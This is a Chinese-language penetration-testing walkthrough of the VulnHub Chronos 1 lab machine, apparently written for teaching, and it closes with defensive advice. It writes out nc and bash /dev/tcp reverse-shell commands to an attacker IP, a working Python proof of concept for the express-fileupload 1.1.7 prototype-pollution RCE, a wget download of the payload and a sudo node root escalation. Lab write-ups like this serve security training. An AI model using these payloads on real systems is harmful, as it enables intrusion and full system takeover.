VnlnHub CHRONOS 1
字数 1261 2025-08-12 11:34:25

Chronos 1 靶场渗透测试教学文档

靶场环境搭建

下载与导入

  1. 靶场下载地址: https://www.vulnhub.com/entry/chronos-1,735/
  2. 下载文件为.ova格式,专为VirtualBox设计
  3. 若使用VMware遇到兼容性问题,可参考转换教程: https://www.freebuf.com/sectool/343724.html

网络配置

  1. 初始问题:虚拟机无法自动获取IP
    • 解决方法参考: https://www.freebuf.com/articles/network/343723.html
  2. 推荐网络模式:
    • NAT模式(与Kali攻击机保持一致)
    • 桥接模式也可用(需确保与Kali在同一网络)

信息收集

网络扫描

  1. 扫描命令示例:
    nmap -sP 192.168.52.0/24
    
  2. 识别靶机IP(本例中为192.168.52.133)

端口扫描

  1. 扫描结果:
    • 22端口:SSH服务
    • 80端口:HTTP服务(Apache 2.4.29)
    • 8000端口:HTTP服务(Node.js Express框架)

Web应用分析

80端口分析

  1. 页面加载问题:部分资源未加载
  2. 抓包发现混淆的JS代码
  3. 使用CyberChef工具还原JS代码

代码分析发现

  1. 发现请求URL:
    http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
    
  2. 需修改/etc/hosts文件添加解析:
    192.168.52.133 chronos.local
    

漏洞利用

命令注入漏洞

  1. 发现format参数使用Base58编码
  2. 解码后发现与date命令格式相关
  3. 测试命令注入:
    • 构造Base58编码的payload
    • 通过Burp Repeater模块测试

初始反弹Shell尝试

  1. 尝试使用nc反弹:

    nc 192.168.52.128 4444 -e /bin/bash
    
    • 失败原因:靶机nc不支持-e参数
  2. 尝试nc串联:

    nc 192.168.52.128 4444 | /bin/bash | nc 192.168.52.128 5555
    
    • 连接建立但功能不完善

权限提升路径一

常规提权尝试

  1. 内核提权:

    • 内核版本4.15.0,未找到可用漏洞
  2. sudo提权:

    sudo -l
    
    • 无可用命令
  3. SUID提权:

    find / -perm -4000 2>/dev/null
    
    • 未发现可利用的常见程序(如nmap、vim等)

深入渗透

发现备用Web应用

  1. 路径:/opt/chronos-v2
  2. 技术栈:
    • Node.js Express框架
    • express-fileupload 1.1.7

漏洞利用

  1. 发现express-fileupload 1.1.7存在RCE漏洞

  2. 漏洞条件:parseNested设置为TRUE

  3. 利用Python POC:

    import requests
    
    cmd = 'bash -c "bash -i &> /dev/tcp/192.168.52.128/6666 0>&1"'
    
    # pollute
    requests.post('http://127.0.0.1:8080', files = {
        '__proto__.outputFunctionName': (
            None, 
            f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x"
        )
    })
    
    # execute command
    requests.get('http://127.0.0.1:8080')
    
  4. 文件传输:

    • Kali搭建临时Web服务:
      python2 -m SimpleHTTPServer 80
      
    • 靶机下载:
      wget http://192.168.52.128/poc.py -O /tmp/poc.py
      
  5. 执行POC:

    python3 /tmp/poc.py
    
    • Kali监听6666端口获取imera用户shell

最终权限提升

sudo提权

  1. 检查sudo权限:
    sudo -l
    
  2. 发现可利用node提权:
    sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
    
  3. 成功获取root权限

总结

关键知识点

  1. VirtualBox与VMware的虚拟机转换
  2. 网络配置问题排查
  3. JS代码分析与反混淆
  4. Base58编码识别与利用
  5. 命令注入漏洞利用
  6. 受限环境下的反弹Shell技巧
  7. Node.js应用的漏洞挖掘
  8. express-fileupload漏洞利用
  9. sudo提权技术

防御建议

  1. 对用户输入进行严格过滤
  2. 避免使用危险函数直接执行系统命令
  3. 及时更新第三方库版本
  4. 遵循最小权限原则配置sudo
  5. 禁用不必要的服务
Chronos 1 靶场渗透测试教学文档 靶场环境搭建 下载与导入 靶场下载地址: https://www.vulnhub.com/entry/chronos-1,735/ 下载文件为.ova格式,专为VirtualBox设计 若使用VMware遇到兼容性问题,可参考转换教程: https://www.freebuf.com/sectool/343724.html 网络配置 初始问题:虚拟机无法自动获取IP 解决方法参考: https://www.freebuf.com/articles/network/343723.html 推荐网络模式: NAT模式(与Kali攻击机保持一致) 桥接模式也可用(需确保与Kali在同一网络) 信息收集 网络扫描 扫描命令示例: 识别靶机IP(本例中为192.168.52.133) 端口扫描 扫描结果: 22端口:SSH服务 80端口:HTTP服务(Apache 2.4.29) 8000端口:HTTP服务(Node.js Express框架) Web应用分析 80端口分析 页面加载问题:部分资源未加载 抓包发现混淆的JS代码 使用CyberChef工具还原JS代码 代码分析发现 发现请求URL: 需修改/etc/hosts文件添加解析: 漏洞利用 命令注入漏洞 发现format参数使用Base58编码 解码后发现与date命令格式相关 测试命令注入: 构造Base58编码的payload 通过Burp Repeater模块测试 初始反弹Shell尝试 尝试使用nc反弹: 失败原因:靶机nc不支持-e参数 尝试nc串联: 连接建立但功能不完善 权限提升路径一 常规提权尝试 内核提权: 内核版本4.15.0,未找到可用漏洞 sudo提权: 无可用命令 SUID提权: 未发现可利用的常见程序(如nmap、vim等) 深入渗透 发现备用Web应用 路径:/opt/chronos-v2 技术栈: Node.js Express框架 express-fileupload 1.1.7 漏洞利用 发现express-fileupload 1.1.7存在RCE漏洞 漏洞条件:parseNested设置为TRUE 利用Python POC: 文件传输: Kali搭建临时Web服务: 靶机下载: 执行POC: Kali监听6666端口获取imera用户shell 最终权限提升 sudo提权 检查sudo权限: 发现可利用node提权: 成功获取root权限 总结 关键知识点 VirtualBox与VMware的虚拟机转换 网络配置问题排查 JS代码分析与反混淆 Base58编码识别与利用 命令注入漏洞利用 受限环境下的反弹Shell技巧 Node.js应用的漏洞挖掘 express-fileupload漏洞利用 sudo提权技术 防御建议 对用户输入进行严格过滤 避免使用危险函数直接执行系统命令 及时更新第三方库版本 遵循最小权限原则配置sudo 禁用不必要的服务